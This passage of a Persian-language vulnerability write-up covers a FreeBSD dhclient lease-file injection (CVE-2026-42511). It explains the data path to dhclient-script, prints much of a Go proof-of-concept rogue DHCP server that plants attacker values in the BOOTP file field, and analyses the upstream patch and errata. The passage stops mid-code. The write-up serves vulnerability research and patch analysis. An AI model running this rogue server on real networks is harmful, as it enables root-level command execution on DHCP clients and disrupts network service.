   ۳.۶ تفاوت مسیر آسیب‌پذیر با DHCP options معمولی

یک اشتباه تحلیلی این است که تصور شود هر مقدار دلخواه در DHCP response همین primitive را ایجاد می‌کند. مسیر آسیب‌پذیر مشخصاً به lease->filename و تا حدی lease->server_name مربوط است، زیرا این مقادیر از فیلدهای ثابت BOOTP/DHCP وارد lease می‌شوند و در نسخه آسیب‌پذیر بدون escape مناسب serialize می‌گردند. همه فیلدهای نوشته‌شده در lease به یک اندازه خطرناک نیستند.

  • نام اینترفیس محلی است.
  • addressها قبل از نوشتن به متن IP معتبر تبدیل می‌شوند.
  • optionهای DHCP از مسیر pretty_print_option() عبور می‌کنند.

بنابراین primitive مستقیم تزریق syntax برای آن‌ها مشابه filename نیست.

منبع داده

کنترل توسط DHCP Server

وضعیت در مسیر نوشتن lease

ریسک تزریق

نام interface

خیر

از سیستم محلی می‌آید

پایین

آدرس IP

محدود

به نمایش متنی IP تبدیل می‌شود

پایین

DHCP options معمولی

بله

از مسیر pretty-print/sanitization عبور می‌کند

کمتر

lease->filename

بله

در نسخه آسیب‌پذیر مستقیم serialize می‌شود

بالا

lease->server_name

بله

در نسخه آسیب‌پذیر مستقیم serialize می‌شود

بالا

 
 

 

 

   ۳.۷ تحلیل وضعیت داده در نقاط بحرانی

برای این CVE، تحلیل درست به‌جای stack/heap layout، تحلیل تغییر وضعیت داده است؛ از packet شبکه، به ساختار lease، به فایل persistent، به state معتبر و در نهایت به shell sink.

مرحله

محل داده

وضعیت داده

نکته امنیتی

دریافت DHCP response

packet شبکه

مقدار کنترل‌شده در فیلد file در پیام BOOTP/DHCP

untrusted input

ساخت lease

lease->filename

داده وارد state داخلی می‌شود

هنوز اجرا نشده، ولی validate نشده است

نوشتن lease

/var/db/dhclient.leases.<if>

داده در context quoted نوشته می‌شود

quote/newline باعث تزریق syntax می‌شود

parse مجدد lease

parser داخلی dhclient

directive تزریق‌شده معتبر تلقی می‌شود

داده مهاجم trusted می‌شود

اجرای script

dhclient-script

مقدار medium وارد eval می‌شود

command execution با privilege بالا

 
 

 

 

۴. تحلیل کد بهره‌بردار

کد بهره‌بردار ارائه‌شده، یک DHCP Server آزمایشگاهی نوشته‌شده با زبان Go است. هدف این برنامه، پیاده‌سازی یک DHCP Server کامل production نیست؛ بلکه هدف آن ایجاد کنترل دقیق روی بخش‌هایی از پاسخ DHCP است که برای بازتولید CVE-2026-42511 لازم هستند. در این PoC، تمرکز روی تولید پاسخ‌های DHCPOFFER و DHCPACK است؛ به‌طوری‌که مقدار کنترل‌شده در فیلد file در پیام BOOTP/DHCP قرار بگیرد. این مقدار در سمت FreeBSD توسط dhclient پردازش شده و در صورت طی شدن زنجیره آسیب‌پذیر، به dhclient-script می‌رسد. کد بهره‌بردار از چند بخش اصلی تشکیل شده است:

بخش

نقش

cmd/dhcp-lab/main.go

نقطه ورود برنامه، خواندن کانفیگ و اجرای سرور

internal/dhcp/config.go

خواندن JSON، ساخت مقدار نهایی file و اعتبارسنجی مقادیر

internal/dhcp/lease.go

مدیریت pool و تخصیص IP به MAC کلاینت

internal/dhcp/options.go

parse و encode کردن DHCP optionها

internal/dhcp/packet.go

parse packet ورودی و ساخت پاسخ DHCP

internal/dhcp/server.go

گوش‌دادن روی UDP/67 و مدیریت پیام‌های DHCP

internal/dhcp/sockopt_unix.go

فعال‌سازی ارسال broadcast روی socket در سیستم‌های Unix-like

   ۴.۱ نقطه ورود برنامه و بارگذاری کانفیگ

نقطه ورود برنامه در فایل cmd/dhcp-lab/main.go قرار دارد. برنامه مسیر فایل کانفیگ را از flag خط فرمان می‌گیرد، کانفیگ را load می‌کند، سپس یک نمونه از DHCP Server می‌سازد و آن را اجرا می‌کند.

				
					func main() {
    configPath := flag.String("config", "config.example.json", "path to JSON config")
    flag.Parse()

    cfg, err := dhcp.LoadConfig(*configPath)
    if err != nil {
        log.Fatalf("load config: %v", err)
    }

    server, err := dhcp.NewServer(cfg)
    if err != nil {
        log.Fatalf("new server: %v", err)
    }

    log.Printf("DHCP server starting")
    log.Printf("bind_ip=%s server_ip=%s broadcast_ip=%s pool=%s-%s",
        cfg.BindIP, cfg.ServerIP, cfg.BroadcastIP, cfg.PoolStart, cfg.PoolEnd)
    log.Printf("fixed fields: siaddr/next_server=%s sname=%q command=%q",
        cfg.NextServer, cfg.SName, cfg.FileCommand)

    if err := server.ListenAndServe(); err != nil {
        log.Fatalf("server stopped: %v", err)
    }
}

				
			

از نظر تحلیلی، این بخش خودش exploit logic ندارد؛ فقط pipeline اجرای PoC را می‌سازد. بخش مهم‌تر در مرحله بعدی رخ می‌دهد، یعنی وقتی ()LoadConfig مقدار نهایی فیلد file را از کانفیگ می‌سازد.

   ۴.۲ ساخت payload از کانفیگ

در فایل internal/dhcp/config.go ساختار Config تعریف شده است. نکته مهم برای بهره‌برداری، سه فیلد زیر است:

				
					File            string `json:"file"`
FileInitialPart string `json:"file_initial_part"`
FileCommand     string `json:"file_command"`

				
			

برنامه اجازه می‌دهد مقدار فیلد file یا مستقیماً با کلید file تنظیم شود، یا از ترکیب دو مقدار file_initial_part و file_command ساخته شود. منطق ساخت مقدار نهایی در تابع buildDerivedFields() آمده است:

				
					func (c *Config) buildDerivedFields() {
    if c.FileInitialPart != "" || c.FileCommand != "" {
        c.File = c.FileInitialPart + c.FileCommand
    }
}

				
			

در کانفیگ فعلی، مقدار file_initial_part برای شکستن context رشته در lease و مقدار file_command برای ایجاد خروجی آزمایشگاهی استفاده می‌شود.

جزء

نقش

file_initial_part

ساخت بخش تزریق syntax و directive

file_command

تعریف اثر آزمایشگاهی قابل مشاهده

File

مقدار نهایی که داخل فیلد file در پیام BOOTP/DHCP قرار می‌گیرد

 
 

 

 

کد همچنین محدودیت طول برای file اعمال می‌کند:

				
					if len(c.File) > 127 {
        return fmt.Errorf("file is too long; max 127 visible bytes plus NUL")
    }

				
			

این محدودیت با ساختار پیام BOOTP/DHCP سازگار است، چون فیلد file یک فیلد ثابت 128 بایتی است. این validation از خراب شدن packet جلوگیری می‌کند.

   ۴.۳ مدیریت lease و تخصیص IP به کلاینت

فایل internal/dhcp/lease.go مسئول مدیریت pool آدرس‌ها است. این بخش برای اکسپلویت مستقیم نیست، اما برای پایدار کردن سناریو لازم است؛ چون FreeBSD باید یک lease معتبر دریافت کند تا پاسخ DHCP پذیرفته شود. تابع ()Offer ابتدا بررسی می‌کند آیا برای MAC کلاینت قبلاً lease وجود دارد یا نه. اگر وجود داشته باشد همان IP قبلی برگردانده می‌شود؛ در غیر این صورت، اگر کلاینت IP خاصی درخواست کرده باشد و آن IP قابل استفاده باشد، همان را اختصاص می‌دهد. در نهایت، اولین IP آزاد از pool برگردانده می‌شود.

				
					func (lm *LeaseManager) Offer(mac string, requested net.IP) (net.IP, error) {
    lm.mu.Lock()
    defer lm.mu.Unlock()
    lm.cleanupExpiredLocked()

    if lease, ok := lm.byMAC[mac]; ok {
        return append(net.IP(nil), lease.IP...), nil
    }

    if ip := lm.claimRequestedLocked(mac, requested); ip != nil {
        return ip, nil
    }

    for n := lm.start; n <= lm.end; n++ {
        if _, used := lm.byIP[n]; !used {
            ip := uint32ToIP(n)
            lm.setLocked(mac, ip)
            return ip, nil
        }
    }

    return nil, fmt.Errorf("no free IP address in pool")
}

				
			

در مرحله DHCPREQUEST، تابع Commit()، lease را نهایی می‌کند:

				
					func (lm *LeaseManager) Commit(mac string, requested net.IP) (net.IP, error) {
    lm.mu.Lock()
    defer lm.mu.Unlock()
    lm.cleanupExpiredLocked()

    if lease, ok := lm.byMAC[mac]; ok {
        if requested == nil || lease.IP.Equal(requested) {
            lm.setLocked(mac, lease.IP)
            return append(net.IP(nil), lease.IP...), nil
        }
        // Client requested a different IP; release old and try requested.
        delete(lm.byIP, ipToUint32(lease.IP))
        delete(lm.byMAC, mac)
    }

    if ip := lm.claimRequestedLocked(mac, requested); ip != nil {
        return ip, nil
    }

    return nil, fmt.Errorf("requested IP %v is unavailable", requested)
}

				
			

از نظر بهره‌برداری، این بخش نقش پشتیبان دارد. اگر lease معتبر تولید نشود، FreeBSD ممکن است پاسخ DHCP را نپذیرد یا چرخه DHCP کامل نشود. بنابراین این کد برای رساندن payload به مسیر آسیب‌پذیر ضروری است، ولی خودش نقطه اکسپلویت نیست.

   ۴.۴ پارس کردن پکت ورودی

فایل internal/dhcp/packet.go ابتدا پکت‌های ورودی را پارس می‌کند. تابع ()ParsePacket بررسی می‌کند که پکت حداقل طول لازم را داشته باشد و magic cookie مربوط به DHCP در offset درست قرار گرفته باشد.

				
					func ParsePacket(buf []byte) (*Packet, error) {
    if len(buf) < minDHCPPacket {
        return nil, fmt.Errorf("packet too short: %d", len(buf))
    }
    if !equal4(buf[236:240], magicCookie) {
        return nil, fmt.Errorf("not a DHCP packet: bad magic cookie")
    }

    p := &Packet{
        Raw:     append([]byte(nil), buf...),
        Op:      buf[0],
        HType:   buf[1],
        HLen:    buf[2],
        Hops:    buf[3],
        Secs:    binary.BigEndian.Uint16(buf[8:10]),
        Flags:  binary.BigEndian.Uint16(buf[10:12]),
        CIAddr:  net.IPv4(buf[12], buf[13], buf[14], buf[15]).To4(),
        YIAddr:  net.IPv4(buf[16], buf[17], buf[18], buf[19]).To4(),
        SIAddr:  net.IPv4(buf[20], buf[21], buf[22], buf[23]).To4(),
        GIAddr:  net.IPv4(buf[24], buf[25], buf[26], buf[27]).To4(),
        SName:   cString(buf[44:108]),
        File:    cString(buf[108:236]),
        Options: parseOptions(buf[240:]),
    }
    copy(p.XID[:], buf[4:8])

    hlen := int(p.HLen)
    if hlen < 0 || hlen > 16 {
        hlen = 16
    }
    p.CHAddr = append([]byte(nil), buf[28:28+hlen]...)

    return p, nil
}

				
			

این بخش بیشتر برای دریافت درخواست‌های FreeBSD است. مقدار اکسپلویت در پاسخ ساخته می‌شود، نه در درخواست. با این حال، پارس کردن صحیح XID، CHAddr و Options مهم است، چون پاسخ باید با transaction ID و MAC کلاینت هماهنگ باشد تا توسط FreeBSD پذیرفته شود.

   ۴.۵ ساخت پاسخ DHCP و قرار دادن مقدار در فیلد file

مهم‌ترین بخش کد بهره‌بردار تابع ()BuildResponse در packet.go است. این تابع یک پاسخ BOOTREPLY می‌سازد، transaction ID درخواست را حفظ می‌کند، IP پیشنهادی را در yiaddr قرار می‌دهد، MAC کلاینت را کپی می‌کند و سپس مقدارهای ثابت sname و file را داخل header می‌نویسد.

				
					func BuildResponse(req *Packet, cfg *Config, msgType byte, yiaddr net.IP) ([]byte, error) {
    serverIP := parseIPv4(cfg.ServerIP)
    subnetMask := parseIPv4(cfg.SubnetMask)
    nextServer := parseIPv4(cfg.NextServer)
    if nextServer == nil {
        nextServer = serverIP
    }

    if serverIP == nil || subnetMask == nil {
        return nil, fmt.Errorf("server_ip/subnet_mask invalid")
    }

    buf := make([]byte, fixedHeaderLen)

    buf[0] = 2 // BOOTREPLY
    buf[1] = req.HType
    buf[2] = req.HLen
    buf[3] = 0
    copy(buf[4:8], req.XID[:])
    binary.BigEndian.PutUint16(buf[8:10], 0)
    binary.BigEndian.PutUint16(buf[10:12], req.Flags)

    if yiaddr4 := yiaddr.To4(); yiaddr4 != nil {
        copy(buf[16:20], yiaddr4)
    }
    copy(buf[20:24], nextServer.To4())

    if req.GIAddr != nil {
        copy(buf[24:28], req.GIAddr.To4())
    }

    copy(buf[28:44], zeroPad(req.CHAddr, 16))
    copyFixedString(buf[44:108], cfg.SName)
    copyFixedString(buf[108:236], cfg.File)

    buf = append(buf, magicCookie...)

    var err error

    buf, err = appendOptionByte(buf, OptMessageType, msgType)
    if err != nil {
        return nil, err
    }
    buf, err = appendOptionIP(buf, OptServerID, serverIP)
    if err != nil {
        return nil, err
    }

    // A NAK usually only needs message type and server identifier.
    if msgType != DHCPNak {
        buf, err = appendOptionUint32(buf, OptLeaseTime, cfg.LeaseSeconds)
        if err != nil {
            return nil, err
        }
        buf, err = appendOptionIP(buf, OptSubnetMask, subnetMask)
        if err != nil {
            return nil, err
        }

        if cfg.Router != "" {
            if router := parseIPv4(cfg.Router); router != nil {
                buf, err = appendOptionIP(buf, OptRouter, router)
                if err != nil {
                    return nil, err
                }
            }
        }

        if len(cfg.DNSServers) > 0 {
            dns := make([]net.IP, 0, len(cfg.DNSServers))
            for _, s := range cfg.DNSServers {
                if ip := parseIPv4(s); ip != nil {
                    dns = append(dns, ip)
                }
            }
            if len(dns) > 0 {
                buf, err = appendOptionIPs(buf, OptDNSServer, dns)
                if err != nil {
                    return nil, err
                }
            }
        }

        buf, err = appendOptionString(buf, OptDomainName, cfg.DomainName)
        if err != nil {
            return nil, err
        }
        buf, err = appendOptionUint32(buf, OptRenewalTime, cfg.RenewalSeconds)
        if err != nil {
            return nil, err
        }
        buf, err = appendOptionUint32(buf, OptRebindingTime, cfg.RebindingSeconds)
        if err != nil {
            return nil, err
        }

        // PXE / boot-related DHCP options.
        buf, err = appendOptionString(buf, OptTFTPServerName, cfg.TFTPServerName)
        if err != nil {
            return nil, err
        }
        buf, err = appendOptionString(buf, OptBootfileName, cfg.BootFileName)
        if err != nil {
            return nil, err
        }

        for _, opt := range cfg.CustomOptions {
            value, err := opt.Bytes()
            if err != nil {
                return nil, err
            }
            buf, err = appendOption(buf, opt.Code, value)
            if err != nil {
                return nil, err
            }
        }
    }

    buf = append(buf, OptEnd)

    // Many clients tolerate shorter DHCP packets, but BOOTP/DHCP packets are
    // commonly padded to at least 300 bytes.
    for len(buf) < minBOOTPSize {
        buf = append(buf, 0)
    }

    return buf, nil
}

				
			

خط کلیدی در این بخش این است:

				
					copyFixedString(buf[108:236], cfg.File)
				
			

این دقیقاً همان جایی است که مقدار ساخته‌شده از file_initial_part + file_command وارد پاسخ DHCP می‌شود. از دید Wireshark، این مقدار در بخش Boot file name دیده می‌شود؛ اما از نظر تحلیل فنی، باید آن را فیلد file در پیام BOOTP/DHCP نامید. تابع ()copyFixedString قبل از کپی، فیلد مقصد را صفر می‌کند و سپس رشته را در آن قرار می‌دهد:

				
					func copyFixedString(dst []byte, s string) {
    for i := range dst {
        dst[i] = 0
    }
    copy(dst, []byte(s))
}

				
			

این تابع برای ساخت packet معتبر مفید است؛ چون باقی bytes فیلد را صفر می‌کند. در نتیجه، مقدار file به‌صورت رشته NUL-terminated در packet قرار می‌گیرد و client آن را مثل یک فیلد BOOTP/DHCP عادی دریافت می‌کند.

۴.۶ اضافه کردن DHCP optionها به پاسخ

بعد از ساخت header ثابت، تابع BuildResponse()، magic cookie و DHCP optionهای لازم را اضافه می‌کند. این optionها باعث می‌شوند پاسخ برای کلاینت قابل قبول باشد.

				
					buf = append(buf, magicCookie...)

var err error

buf, err = appendOptionByte(buf, OptMessageType, msgType)
if err != nil {
    return nil, err
}
buf, err = appendOptionIP(buf, OptServerID, serverIP)
if err != nil {
    return nil, err
}

				
			

در ادامه، اگر پاسخ از نوع NAK نباشد، optionهایی مانند lease time، subnet mask، router، DNS، renewal time و rebinding time اضافه می‌شوند:

				
					if msgType != DHCPNak {
    buf, err = appendOptionUint32(buf, OptLeaseTime, cfg.LeaseSeconds)
    if err != nil {
        return nil, err
    }
    buf, err = appendOptionIP(buf, OptSubnetMask, subnetMask)
    if err != nil {
        return nil, err
    }

    if cfg.Router != "" {
        if router := parseIPv4(cfg.Router); router != nil {
            buf, err = appendOptionIP(buf, OptRouter, router)
            if err != nil {
                return nil, err
            }
        }
    }

				
			

این بخش اکسپلویت، پیلود را حمل نمی‌کند؛ اما برای پذیرش پاسخ توسط FreeBSD مهم است. اگر پاسخ فقط شامل فیلد file باشد ولی optionهای پایه DHCP را نداشته باشد، ممکن است چرخه DHCP کامل نشود یا کلاینت آن را نپذیرد. در انتهای packet، option پایان اضافه می‌شود و packet تا حداقل اندازه رایج BOOTP/DHCP padding می‌شود:

				
					buf = append(buf, OptEnd)

for len(buf) < minBOOTPSize {
    buf = append(buf, 0)
}

				
			

۴.۷ منطق سرور و مدیریت پیام‌های DHCP

فایل internal/dhcp/server.go حلقه اصلی سرور را پیاده‌سازی می‌کند. برنامه روی UDP/67 گوش می‌دهد، packetها را parse می‌کند و فقط پیام‌هایی را که Op == 1 دارند، یعنی BOOTREQUEST هستند، پردازش می‌کند.

 
 

 

 

				
					func (s *Server) ListenAndServe() error {
    addr := &net.UDPAddr{
        IP:   parseIPv4(s.cfg.BindIP),
        Port: 67,
    }

    conn, err := net.ListenUDP("udp4", addr)
    if err != nil {
        return fmt.Errorf("listen udp4 %s:67: %w", s.cfg.BindIP, err)
    }
    defer conn.Close()

    if err := enableBroadcast(conn); err != nil {
        log.Printf("warning: could not enable SO_BROADCAST: %v", err)
    }

    buf := make([]byte, 1500)
    for {
        n, remote, err := conn.ReadFromUDP(buf)
        if err != nil {
            log.Printf("read error: %v", err)
            continue
        }

        raw := append([]byte(nil), buf[:n]...)
        req, err := ParsePacket(raw)
        if err != nil {
            log.Printf("ignore packet from %v: %v", remote, err)
            continue
        }

        if req.Op != 1 {
            continue
        }

        if err := s.handlePacket(conn, req, remote); err != nil {
            log.Printf("handle packet from %v: %v", remote, err)
        }
    }
}

				
			

منطق اصلی در ()handlePacket قرار دارد. اگر پیام DHCPDISCOVER باشد، سرور IP پیشنهادی را از LeaseManager می‌گیرد و پاسخ DHCPOFFER می‌سازد:

				
					case DHCPDiscover:
    requested := req.Options.RequestedIP()
    ip, err := s.leases.Offer(mac, requested)
    if err != nil {
        return err
    }

    resp, err := BuildResponse(req, s.cfg, DHCPOffer, ip)
    if err != nil {
        return err
    }

    log.Printf("DISCOVER mac=%s requested=%v -> OFFER ip=%s command=%q",
        mac, requested, ip, s.cfg.FileCommand)
    return s.sendReply(conn, req, resp)

				
			

اگر پیام DHCPREQUEST باشد، سرور lease را نهایی می‌کند و پاسخ DHCPACK می‌سازد:

				
					case DHCPRequest:
    if sid := req.Options.ServerID(); sid != nil && !sid.Equal(s.serverIP) {
        log.Printf("REQUEST mac=%s ignored: server-id=%s is not us", mac, sid)
        return nil
    }

    requested := req.Options.RequestedIP()
    if requested == nil && req.CIAddr != nil && !req.CIAddr.Equal(net.IPv4zero) {
        requested = req.CIAddr
    }

    ip, err := s.leases.Commit(mac, requested)
    if err != nil {
        nak, buildErr := BuildResponse(req, s.cfg, DHCPNak, net.IPv4zero)
        if buildErr == nil {
            _ = s.sendReply(conn, req, nak)
        }
        log.Printf("REQUEST mac=%s requested=%v -> NAK: %v", mac, requested, err)
        return nil
    }

    resp, err := BuildResponse(req, s.cfg, DHCPAck, ip)
    if err != nil {
        return err
    }

    log.Printf("REQUEST mac=%s requested=%v -> ACK ip=%s command=%q",
        mac, requested, ip, s.cfg.FileCommand)
    return s.sendReply(conn, req, resp)

				
			

از نظر exploitability، پاسخ DHCPACK اهمیت بیشتری دارد، چون lease نهایی را تأیید می‌کند و باعث می‌شود dhclient مقدار دریافتی را در state و فایل lease خود وارد کند.

۴.۸ ارسال پاسخ به کلاینت

تابع ()sendReply پاسخ ساخته‌شده را ارسال می‌کند. در حالت relay، اگر giaddr تنظیم شده باشد، پاسخ به relay agent فرستاده می‌شود. پاسخ به broadcast سگمنت آزمایشگاهی روی UDP/68 ارسال می‌شود.

				
					func (s *Server) sendReply(conn *net.UDPConn, req *Packet, payload []byte) error {
    if req.GIAddr != nil && !req.GIAddr.Equal(net.IPv4zero) {
        dst := &net.UDPAddr{IP: req.GIAddr, Port: 67}
        _, err := conn.WriteToUDP(payload, dst)
        return err
    }

    dst := &net.UDPAddr{IP: s.broadcastIP, Port: 68}
    _, err := conn.WriteToUDP(payload, dst)
    return err
}

				
			

برای اینکه ارسال broadcast در سیستم‌های Unix-like درست کار کند، فایل sockopt_unix.go گزینه SO_BROADCAST را روی socket فعال می‌کند:

				
					func enableBroadcast(conn *net.UDPConn) error {
    raw, err := conn.SyscallConn()
    if err != nil {
        return err
    }

    var sockErr error
    err = raw.Control(func(fd uintptr) {
        sockErr = syscall.SetsockoptInt(int(fd), syscall.SOL_SOCKET, syscall.SO_BROADCAST, 1)
    })
    if err != nil {
        return err
    }
    return sockErr
}

				
			

این بخش برای پایداری PoC مهم است. قبل از اینکه کلاینت IP بگیرد، ارسال پاسخ unicast همیشه قابل اتکا نیست؛ بنابراین ارسال broadcast در شبکه آزمایشگاهی باعث می‌شود FreeBSD پاسخ را دریافت کند.

۴.۹ موانع موجود در اجرای کد بهره‌بردار

در این CVE، موانع اصلی از جنس memory protection نیستند. یعنی ASLR، NX، stack canary یا heap hardening primitive اصلی را متوقف نمی‌کنند، چون زنجیره exploit از جنس memory corruption نیست. موانع واقعی بیشتر شبکه‌ای، lifecycle-based و وابسته به state dhclient هستند.

مانع

اثر روی PoC

وضعیت در محیط آزمایشگاهی

نیاز به دریافت پاسخ DHCP از سرور مخرب

بدون پذیرش پاسخ DHCP، مقدار وارد lease نمی‌شود

با اجرای DHCP Server روی Kali کنترل شده است

رقابت با DHCP Server معتبر

ممکن است کلاینت از سرور دیگری lease بگیرد

DHCP داخلی VMware غیرفعال شده است

نیاز به کامل شدن چرخه DHCP

فقط ساخت packet کافی نیست؛ کلاینت باید lease را بپذیرد

با ساخت Offer و ACK معتبر مدیریت شده است

محدودیت طول فیلد file

پیلود باید کوتاه باشد

با validation طول در config.go کنترل شده است

نیاز به پارس مجدد lease

اجرای نهایی ممکن است وابسته به lifecycle بعدی باشد

در تست باید این مرحله با خروجی کنترل‌شده اثبات شود

پچ‌ امنیتی FreeBSD

نسخه پچ‌شده مقدارهای خطرناک را Reject می‌کند

ماشین تست فاقد 15.0-RELEASE-p7 است

DHCP Snooping یا کنترل سوییچ

مانع پاسخ‌دهی Rogue DHCP می‌شود

در VMnet2 چنین کنترل شبکه‌ای وجود ندارد

 

 
 

 

 

مهاجم باید در همان Broadcast Domain باشد و بتواند به درخواست‌های DHCP پاسخ دهد؛ همچنین DHCP Snooping را به‌عنوان کنترل شبکه‌ای مطرح می‌کند. بنابراین «بایپس» در این مقاله نباید به‌صورت دور زدن ASLR یا NX نوشته شود. در محیط آزمایشگاهی، موانع عملیاتی با ایزوله‌سازی شبکه، خاموش کردن DHCPهای دیگر و ساخت پاسخ DHCP معتبر حذف شده‌اند؛ این با بایپس امنیتی در شبکه واقعی تفاوت دارد.

   ۴.۱۰ محدودیت‌های PoC

این PoC برای بازتولید آسیب‌پذیری در محیط آزمایشگاهی مناسب است، اما محدودیت‌هایی دارد:

 
 

 

 

محدودیت

توضیح

production-ready نیست

مدیریت کامل lease، conflict detection، persistence و policyهای DHCP را پیاده‌سازی نمی‌کند

کنترل‌های شبکه واقعی را دور نمی‌زند

اگر DHCP Snooping یا ACL شبکه وجود داشته باشد، PoC الزاماً کار نمی‌کند

به broadcast domain وابسته است

PoC برای سناریوی لایه 2 طراحی شده است

payload باید کوتاه باشد

مقدار در فیلد ثابت 128 بایتی file قرار می‌گیرد

نتیجه ممکن است lifecycle-dependent باشد

اثر نهایی ممکن است پس از parse مجدد lease یا رویدادهای بعدی dhclient ظاهر شود

فقط برای تحقیق کنترل‌شده است

اجرای آن در شبکه واقعی می‌تواند باعث اختلال در سرویس DHCP شود

 
 

 

 

۵. تحلیل پچ ارائه‌شده

پچ ارائه‌شده برای CVE-2026-42511 تلاش نمی‌کند مقدار دریافتی از DHCP Server را هنگام نوشتن در فایل lease، escape کند؛ بلکه مسیر ساده‌تر و کم‌ریسک‌تر را انتخاب می‌کند؛ رد کردن یا حذف مقدارهایی که برای syntax فایل lease خطرناک هستند. نقطه اصلاح در فایل sbin/dhclient/dhclient.c و در تابع ()packet_to_lease قرار دارد. این محل از نظر طراحی جای مناسبی برای اصلاح است، چون داده قبل از تبدیل‌شدن به state داخلی lease بررسی می‌شود و دیگر به مرحله ()write_client_lease نمی‌رسد.

لینک فایل:

				
					https://gitlab.com/FreeBSD/freebsd-src/-/blob/7aedc8de6446/sbin/dhclient/dhclient.c
				
			

لینک commit امنیتی شاخه releng/15.0:

				
					https://gitlab.com/FreeBSD/freebsd-src/-/commit/e7b4fb41aafaf6ccb4ff14684416223c1f6f92e8
				
			

   ۵.۱ جدول commitهای اصلاحی اصلی

Branch / Path

Commit Hash

Revision / نسخه اصلاح‌شده

stable/15

2621f6c5d4ae

stable/15-n283377

releng/15.0

e7b4fb41aafa

releng/15.0-n281029 / 15.0-RELEASE-p7

stable/14

b3087e05e848

stable/14-n274076

releng/14.4

73b801e3b5b3

releng/14.4-n273691 / 14.4-RELEASE-p3

releng/14.3

dda71167a101

releng/14.3-n271492 / 14.3-RELEASE-p12

stable/13

46c01e4dd102

stable/13-n259859

releng/13.5

a2d45189b9ee

releng/13.5-n259215 / 13.5-RELEASE-p13

   ۵.۲ کد آسیب‌پذیر قبل از پچ

در نسخه آسیب‌پذیر، مقدار server_name و filename از فیلدهای ثابت پیام BOOTP/DHCP کپی می‌شدند، اما بعد از کپی، بررسی کافی روی کاراکترهای خطرناک انجام نمی‌شد. بخش مرتبط با filename در نسخه آسیب‌پذیر به‌صورت مفهومی چنین بود:

				
					memcpy(lease->filename, packet->raw->file, DHCP_FILE_LEN);
lease->filename[DHCP_FILE_LEN] = '\0';

				
			

در ادامه، همین مقدار در مسیر ()write_client_lease به فایل lease نوشته می‌شد:

				
					if (lease->filename)
	fprintf(leaseFile, "  filename \"%s\";\n", lease->filename);
if (lease->server_name)
	fprintf(leaseFile, "  server-name \"%s\";\n", lease->server_name);

				
			

ضعف اصلی این بود که مقدار قرارگرفته در s% می‌توانست شامل double quote، newline یا کاراکترهایی باشد که syntax فایل lease را تغییر می‌دهند. بنابراین مشکل در memcpy به‌عنوان overflow نبود؛ مشکل در ورود داده validate نشده به context متنی دارای syntax بود. لینک فایل آسیب‌پذیر ، مطابق build ماشین تست:

				
					https://gitlab.com/FreeBSD/freebsd-src/-/blob/7aedc8de6446/sbin/dhclient/dhclient.c
				
			

   ۵.۳ کد اصلاح‌شده در patch امنیتی اولیه

در commit امنیتی e7b4fb41aafa برای شاخه releng/15.0، پس از کپی server_name و filename، بررسی اضافه شد تا اگر مقدار شامل double quote یا backslash باشد، کل lease رد شود. متن commit صریحاً می‌گوید بعضی optionها مستقیماً در فایل lease نوشته می‌شوند و اگر DHCP Server مخرب بتواند فیلد medium را کنترل کند، از طریق lease file و dhclient-script به RCE می‌رسد. کد اصلاحی برای server_name:

 
 

 

 

				
					memcpy(lease->server_name, packet->raw->sname, DHCP_SNAME_LEN);
lease->server_name[DHCP_SNAME_LEN] = '\0';
if (strchr(lease->server_name, '"') != NULL ||
    strchr(lease->server_name, '\\') != NULL) {
    	warning("dhcpoffer: server name contains invalid characters.");
    	free_client_lease(lease);
    	return (NULL);
}

				
			

کد اصلاحی برای filename:

 
 

 

 

				
					memcpy(lease->filename, packet->raw->file, DHCP_FILE_LEN);
lease->filename[DHCP_FILE_LEN] = '\0';
if (strchr(lease->filename, '"') != NULL ||
    strchr(lease->filename, '\\') != NULL) {
    	warning("dhcpoffer: filename contains invalid characters.");
    	free_client_lease(lease);
    	return (NULL);
}

				
			

لینک GitLab commit:

				
					https://gitlab.com/FreeBSD/freebsd-src/-/commit/e7b4fb41aafaf6ccb4ff14684416223c1f6f92e8
				
			

لینک فایل dhclient.c در همان commit:

				
					https://gitlab.com/FreeBSD/freebsd-src/-/blob/e7b4fb41aafaf6ccb4ff14684416223c1f6f92e8/sbin/dhclient/dhclient.c
				
			

   ۵.۴ تحلیل علت مؤثر بودن patch اولیه

پچ اولیه دقیقاً همان کاراکترهایی را هدف می‌گیرد که برای شکستن context فایل lease لازم هستند:

کاراکتر

دلیل خطر

“

بستن رشته quoted مثل filename “…”

\

امکان تغییر معنی escaping یا آماده‌سازی bypassهای مبتنی بر escape

control characters مثل newline

در patch اولیه مستقیم پوشش داده نشده بودند، ولی در errata بعدی اضافه شدند

در patch اولیه، وجود double quote یا backslash باعث می‌شود lease کلاً discard شود. این کار جلوی سناریویی را می‌گیرد که در آن مهاجم مقدار filename را می‌بندد و directive جدیدی مانند medium را وارد فایل lease می‌کند. با این حال، این patch اولیه از نظر compatibility سخت‌گیرانه بود؛ چون وجود backslash در file name در برخی محیط‌های Windows-centric می‌تواند عادی باشد. همین موضوع باعث شد FreeBSD خیلی زود یک Errata جداگانه برای بهبود validation منتشر کند.

   ۵.۵ Errata بعدی: بهبود validation پس از patch امنیتی

دو روز بعد از Advisory امنیتی، FreeBSD، Errata با شناسه FreeBSD-EN-26:11.dhclient منتشر کرد. موضوع آن این بود که validation جدید dhclient بیش از حد سخت‌گیرانه است. در این Errata، شاخه releng/15.0 به 15.0-RELEASE-p8 رسید. Commit مربوط به releng/15.0 برای این بهبود:

				
					https://gitlab.com/FreeBSD/freebsd-src/-/commit/dc8762cfb6e2794ec10873263fa606ff969b1905
				
			

لینک فایل اصلاح‌شده در همان commit:

				
					https://gitlab.com/FreeBSD/freebsd-src/-/blob/dc8762cfb6e2794ec10873263fa606ff969b1905/sbin/dhclient/dhclient.c
				
			

این patch دوم چند تغییر مهم ایجاد کرد:

  1. رشته فقط یک‌بار پیمایش می‌شود.
  2. control characterها نیز reject می‌شوند.
  3. در صورت مشاهده کاراکتر خطرناک، فقط همان string حذف می‌شود و کل lease رد نمی‌شود.
  4. backslash در file name به forward slash تبدیل می‌شود.

   ۵.۶ کد اصلاح‌ شده در patch تکمیلی

در patch تکمیلی، منطق برای server_name به‌جای استفاده از strchr، کاراکترها را یکی‌یکی بررسی می‌کند. اگر کاراکتر control، double quote یا backslash دیده شود، مقدار server_name حذف می‌شود، اما کل lease رد نمی‌شود.

				
					for (i = 0; i < DHCP_SNAME_LEN; i++) {
    if (packet->raw->sname[i] == '\0') {
        break;
    }
    if (packet->raw->sname[i] < ' ' ||
        packet->raw->sname[i] == '"' ||
        packet->raw->sname[i] == '\\') {
